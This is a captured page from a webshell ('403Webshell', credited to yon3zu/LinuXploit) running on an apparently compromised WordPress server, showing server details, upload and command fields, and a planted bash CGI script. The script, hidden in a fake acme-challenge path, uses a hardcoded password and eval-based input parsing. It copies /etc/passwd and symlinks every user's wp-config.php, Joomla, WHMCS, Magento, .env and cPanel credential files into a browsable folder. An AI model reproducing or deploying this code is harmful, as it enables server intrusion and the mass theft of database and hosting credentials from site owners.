403Webshell
Server IP : 43.128.22.13  /  Your IP : 216.73.217.0
Web Server : nginx/1.28.3
System : Linux VM-0-2-debian 6.1.0-27-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.115-1 (2024-11-01) x86_64
User : www ( 1000)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/43.128.22.13/wp-content/well-known/acme-challenge/c/h/g/h/CSH/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/43.128.22.13/wp-content/well-known/acme-challenge/c/h/g/h/CSH/c.pl
#!/bin/bash -i

#
password="123"


function cgi_get_POST_vars()
{
    # check content type
    [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && \
	echo "Warning: you should probably use MIME type "\
	     "application/x-www-form-urlencoded!" 1>&2
    # save POST variables (only first time this is called)
    [ -z "$QUERY_STRING_POST" \
      -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && \
	read -n $CONTENT_LENGTH QUERY_STRING_POST
    return
}


function cgi_decodevar()
{
    [ $# -ne 1 ] && return
    local v t h
    
    t="${1//+/ }%%"
    while [ ${#t} -gt 0 -a "${t}" != "%" ]; do
	v="${v}${t%%\%*}" 
	t="${t#*%}"       
	
	if [ ${#t} -gt 0 -a "${t}" != "%" ]; then
	    h=${t:0:2} 
	    t="${t:2}" 
	    v="${v}"`echo -e \\\\x${h}` 
	fi
    done
    
    echo "${v}"
    return
}


function cgi_getvars()
{
    [ $# -lt 2 ] && return
    local q p k v s
    # get query
    case $1 in
	GET)
	    [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"
	    ;;
	POST)
	    cgi_get_POST_vars
	    [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&"
	    ;;
	BOTH)
	    [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"
	    cgi_get_POST_vars
	    [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&"
	    ;;
    esac
    shift
    s=" $* "
    # parse the query data
    while [ ! -z "$q" ]; do
	p="${q%%&*}"  # get first part of query string
	k="${p%%=*}"  # get the key (variable name) from it
	v="${p#*=}"   # get the value from it
	q="${q#$p&*}" # strip first part from query string
	# decode and evaluate var if requested
	[ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && \
	    eval "$k=\"`cgi_decodevar \"$v\"`\""
    done
    return
}

# register all GET and POST variables
cgi_getvars BOTH ALL

pass="SAVEDPWD=$password"
passv=`echo $HTTP_COOKIE | awk '$pass|'  -f0`

if [ $cc2 -eq 4 ] ; then
clear
echo -e "Set-Cookie: SAVEDPWD=;\nContent-type: text/html\n\n"
echo '<meta http-equiv="refresh" content="0;">'
exit
else

if [ -n "$xx"  ] ; then
echo -e "Set-Cookie: SAVEDPWD=$xx;\nContent-type: text/html\n\n"
echo '<meta http-equiv="refresh" content="0;">'
else
echo -e "Content-type: text/html\n\n"
fi

fi
echo 'PGh0bWw+PHRpdGxlPldvcmtpbmc8L3RpdGxlPjwvaHRtbD4=' | base64 -d


if [[ $PWD == *"public_html"* ]]; then
	str="public_html"
elif [[ $PWD == *"html"* ]]; then
	str="html"
elif [[ $PWD == *"miracle"* ]]; then
	str="miracle"
elif [[ $PWD == *"www/htdocs"* ]]; then
	str="www/htdocs"
elif [[ $PWD == *"htdocs"* ]]; then
	str="htdocs"
elif [[ $PWD == *"data/www"* ]]; then
	str="data/www"
elif [[ $PWD == *"www_root"* ]]; then
	str="www_root"
elif [[ $PWD == *"httpdocs"* ]]; then
	str="httpdocs"
elif [[ $PWD == *"httpsdocs"* ]]; then
	str="httpsdocs"
elif [[ $PWD == *"http"* ]]; then
	str="http"
elif [[ $PWD == *"docs"* ]]; then
	str="docs"
elif [[ $PWD == *"web"* ]]; then
	str="web"
elif [[ $PWD == *"web"* ]]; then
	str="www"
else
	str=""
fi
ppath=$str
if [[ $ppath == *"/"* ]]; then
	secondString="_"
	ppath="${ppath/\//"$secondString"}"
fi
mkdir ../c
mkdir ../c/Jump
echo 'DirectoryIndex ssssssgggggfff.htm' >> ../c/Jump/.htaccess
echo 'Options all' >> ../c/.htaccess

if [ ! -f passwd.txt ]; then
    eval "cat /etc/passwd > passwd.txt";
fi

for i in `cat passwd.txt |grep : |cut -d":" -f6` ; do
IFS='/' read -ra my_array <<< "$i"
for io in "${!my_array[@]}"
do
	nuser="${my_array[io]}"
done
eval "ln -s $i/$str ../c/Jump/0-$nuser";
eval "ln -s $i/$str/app/etc/local.xml ../c/$nuser-Magento-$ppath.txt";
eval "ln -s $i/$str/app/config/parameters.php ../c/$nuser-PrestaShop7-$ppath.txt";
eval "ln -s $i/$str/config/settings.inc.php ../c/$nuser-PrestaShop-$ppath.txt";
eval "ln -s $i/$str/config.php ../c/$nuser-OpenCart-$ppath.txt";
eval "ln -s $i/$str/configuration.php ../c/$nuser-Joomla-$ppath.txt";
eval "ln -s $i/$str/wp-config.php ../c/$nuser-WordPress-$ppath.txt";
eval "ln -s $i/$str/sites/default/settings.php ../c/$nuser-Drupal-$ppath.txt";
eval "ln -s $i/$str/shop/app/etc/local.xml ../c/$nuser-Magento-shop-$ppath.txt";
eval "ln -s $i/$str/store/app/etc/local.xml ../c/$nuser-Magento-store-$ppath.txt";
eval "ln -s $i/$str/market/app/etc/local.xml ../c/$nuser-Magento-market-$ppath.txt";
eval "ln -s $i/$str/magento/app/etc/local.xml ../c/$nuser-Magento-magento-$ppath.txt";
eval "ln -s $i/$str/shop/app/config/parameters.php ../c/$nuser-PrestaShop7-shop-$ppath.txt";
eval "ln -s $i/$str/store/app/config/parameters.php ../c/$nuser-PrestaShop7-store-$ppath.txt";
eval "ln -s $i/$str/market/app/config/parameters.php ../c/$nuser-PrestaShop7-market-$ppath.txt";
eval "ln -s $i/$str/prestashop/app/config/parameters.php ../c/$nuser-PrestaShop7-prestashop-$ppath.txt";		
eval "ln -s $i/$str/shop/config/settings.inc.php ../c/$nuser-PrestaShop-shop-$ppath.txt";
eval "ln -s $i/$str/store/config/settings.inc.php ../c/$nuser-PrestaShop-store-$ppath.txt";
eval "ln -s $i/$str/market/config/settings.inc.php ../c/$nuser-PrestaShop-market-$ppath.txt";
eval "ln -s $i/$str/prestashop/config/settings.inc.php ../c/$nuser-PrestaShop-prestashop-$ppath.txt";
eval "ln -s $i/$str/shop/config.php ../c/$nuser-OpenCart-shop-$ppath.txt";
eval "ln -s $i/$str/store/config.php ../c/$nuser-OpenCart-store-$ppath.txt";
eval "ln -s $i/$str/market/config.php ../c/$nuser-OpenCart-market-$ppath.txt";
eval "ln -s $i/$str/opencart/config.php ../c/$nuser-OpenCart-opencart-$ppath.txt";
eval "ln -s $i/$str/my/configuration.php ../c/$nuser-WHMCS-my-$ppath.txt";
eval "ln -s $i/$str/accounts/configuration.php ../c/$nuser-WHMCS-accounts-$ppath.txt";
eval "ln -s $i/$str/account/configuration.php ../c/$nuser-WHMCS-account-$ppath.txt";
eval "ln -s $i/$str/host/configuration.php ../c/$nuser-WHMCS-host-$ppath.txt";
eval "ln -s $i/$str/user/configuration.php ../c/$nuser-WHMCS-user-$ppath.txt";
eval "ln -s $i/$str/panel/configuration.php ../c/$nuser-WHMCS-panel-$ppath.txt";
eval "ln -s $i/$str/support/configuration.php ../c/$nuser-WHMCS-support-$ppath.txt";
eval "ln -s $i/$str/billing/configuration.php ../c/$nuser-WHMCS-billing-$ppath.txt";
eval "ln -s $i/$str/client/configuration.php ../c/$nuser-WHMCS-client-$ppath.txt";
eval "ln -s $i/$str/clients/configuration.php ../c/$nuser-WHMCS-clients-$ppath.txt";
eval "ln -s $i/$str/clientarea/configuration.php ../c/$nuser-WHMCS-clientarea-$ppath.txt";
eval "ln -s $i/$str/manager/configuration.php ../c/$nuser-WHMCS-manager-$ppath.txt";
eval "ln -s $i/$str/whmcs/configuration.php ../c/$nuser-WHMCS-whmcs-$ppath.txt";
eval "ln -s $i/$str/portal/configuration.php ../c/$nuser-Joomla-portal-$ppath.txt";
eval "ln -s $i/$str/site/configuration.php ../c/$nuser-Joomla-site-$ppath.txt";
eval "ln -s $i/$str/home/configuration.php ../c/$nuser-Joomla-home-$ppath.txt";
eval "ln -s $i/$str/joomla/configuration.php ../c/$nuser-Joomla-joomla-$ppath.txt";
eval "ln -s $i/$str/web/configuration.php ../c/$nuser-Joomla-web-$ppath.txt";
eval "ln -s $i/$str/blog/wp-config.php ../c/$nuser-WordPress-blog-$ppath.txt";
eval "ln -s $i/$str/portal/wp-config.php ../c/$nuser-WordPress-portal-$ppath.txt";
eval "ln -s $i/$str/site/wp-config.php ../c/$nuser-WordPress-site-$ppath.txt";
eval "ln -s $i/$str/home/wp-config.php ../c/$nuser-WordPress-home-$ppath.txt";
eval "ln -s $i/$str/wordpress/wp-config.php ../c/$nuser-WordPress-wordpress-$ppath.txt";
eval "ln -s $i/$str/web/wp-config.php ../c/$nuser-WordPress-web-$ppath.txt";
eval "ln -s $i/$str/portal/sites/default/settings.php ../c/$nuser-Drupal-portal-$ppath.txt";
eval "ln -s $i/$str/site/sites/default/settings.php ../c/$nuser-Drupal-site-$ppath.txt";
eval "ln -s $i/$str/home/sites/default/settings.php ../c/$nuser-Drupal-home-$ppath.txt";
eval "ln -s $i/$str/web/sites/default/settings.php ../c/$nuser-Drupal-web-$ppath.txt";
eval "ln -s $i/$str/drupal/sites/default/settings.php ../c/$nuser-Drupal-drupal-$ppath.txt";
eval "ln -s $i/$str/.env ../c/$nuser-env-$ppath.txt";
eval "ln -s $i/$str/.accesshash ../c/$nuser-accesshash-WHMCS-$ppath.txt";
eval "ln -s $i/$str/.my.conf ../c/$nuser-myconf-cPanel-$ppath.txt";
eval "ln -s $i/$str/admin/.env ../c/$nuser-admin-env-$ppath.txt";
eval "ln -s $i/$str/laravel/.env ../c/$nuser-laravel-env-$ppath.txt";
eval "ln -s $i/$str/test/.env ../c/$nuser-test-env-$ppath.txt";
eval "ln -s $i/$str/demo/.env ../c/$nuser-demo-env-$ppath.txt";
eval "ln -s $i/$str/old/.env ../c/$nuser-old-env-$ppath.txt";
eval "ln -s $i/$str/new/.env ../c/$nuser-new-env-$ppath.txt";
eval "ln -s $i/$str/members/configuration.php ../c/$nuser-WHMCS-members-$ppath.txt";
eval "ln -s $i/$str/order/configuration.php ../c/$nuser-WHMCS-order-$ppath.txt";
eval "ln -s $i/$str/core/configuration.php ../c/$nuser-WHMCS-core-$ppath.txt";
eval "ln -s $i/$str/hosting/configuration.php ../c/$nuser-WHMCS-hosting-$ppath.txt";
eval "ln -s $i/$str/manage/configuration.php ../c/$nuser-WHMCS-manage-$ppath.txt";
eval "ln -s $i/$str/domains/configuration.php ../c/$nuser-WHMCS-domains-$ppath.txt";
eval "ln -s $i/$str/cp/configuration.php ../c/$nuser-WHMCS-cp-$ppath.txt";
eval "ln -s $i/$str/central/configuration.php ../c/$nuser-WHMCS-central-$ppath.txt";
eval "ln -s $i/$str/control/configuration.php ../c/$nuser-WHMCS-control-$ppath.txt";
eval "ln -s $i/$str/clientearea/configuration.php ../c/$nuser-WHMCS-clientearea-$ppath.txt";
eval "ln -s $i/$str/painel/configuration.php ../c/$nuser-WHMCS-painel-$ppath.txt";
eval "ln -s $i/$str/customers/configuration.php ../c/$nuser-WHMCS-customers-$ppath.txt";
eval "ln -s $i/$str/main/configuration.php ../c/$nuser-WHMCS-main-$ppath.txt";
eval "ln -s $i/$str/cliente/configuration.php ../c/$nuser-WHMCS-cliente-$ppath.txt";
eval "ln -s $i/$str/whm/configuration.php ../c/$nuser-WHMCS-whm-$ppath.txt";
eval "ln -s $i/$str/supports/configuration.php ../c/$nuser-WHMCS-supports-$ppath.txt";
eval "ln -s $i/$str/billings/configuration.php ../c/$nuser-WHMCS-billings-$ppath.txt";
eval "ln -s $i/$str/clientes/configuration.php ../c/$nuser-WHMCS-clientes-$ppath.txt";
eval "ln -s $i/$str/new/wp-config.php ../c/$nuser-WordPress-new-$ppath.txt";
eval "ln -s $i/$str/old/wp-config.php ../c/$nuser-WordPress-old-$ppath.txt";
eval "ln -s $i/$str/blogs/wp-config.php ../c/$nuser-WordPress-blogs-$ppath.txt";
eval "ln -s $i/$str/wp/wp-config.php ../c/$nuser-WordPress-wp-$ppath.txt";
eval "ln -s $i/$str/beta/wp-config.php ../c/$nuser-WordPress-beta-$ppath.txt";
eval "ln -s $i/$str/demo/wp-config.php ../c/$nuser-WordPress-demo-$ppath.txt";
eval "ln -s $i/$str/test/wp-config.php ../c/$nuser-WordPress-test-$ppath.txt";
eval "ln -s $i/$str/new/configuration.php ../c/$nuser-Joomla-new-$ppath.txt";
eval "ln -s $i/$str/old/configuration.php ../c/$nuser-Joomla-old-$ppath.txt";
eval "ln -s $i/$str/blogs/configuration.php ../c/$nuser-Joomla-blogs-$ppath.txt";
eval "ln -s $i/$str/wp/configuration.php ../c/$nuser-Joomla-wp-$ppath.txt";
eval "ln -s $i/$str/beta/configuration.php ../c/$nuser-Joomla-beta-$ppath.txt";
eval "ln -s $i/$str/demo/configuration.php ../c/$nuser-Joomla-demo-$ppath.txt";
eval "ln -s $i/$str/test/configuration.php ../c/$nuser-Joomla-test-$ppath.txt";
eval "ln -s $i/$str/new/config.php ../c/$nuser-OpenCart-new-$ppath.txt";
eval "ln -s $i/$str/old/config.php ../c/$nuser-OpenCart-old-$ppath.txt";
eval "ln -s $i/$str/oc/config.php ../c/$nuser-OpenCart-oc-$ppath.txt";
eval "ln -s $i/$str/demo/config.php ../c/$nuser-OpenCart-demo-$ppath.txt";
eval "ln -s $i/$str/test/config.php ../c/$nuser-OpenCart-test-$ppath.txt";
done
echo 'PC94bXA+PGRpdiBhbGlnbj0nY2VudGVyJz48YnI+IFN5bUxpbmtzIDxhIHRhcmdldD0nX2JsYW5rJyBocmVmPScuLi9Db25maWdGMHgvJz5DbGljayBoZXJlPC9hPiA8L2Rpdj4=' | base64 -d
fi

Youez - 2016 - github.com/yon3zu
LinuXploit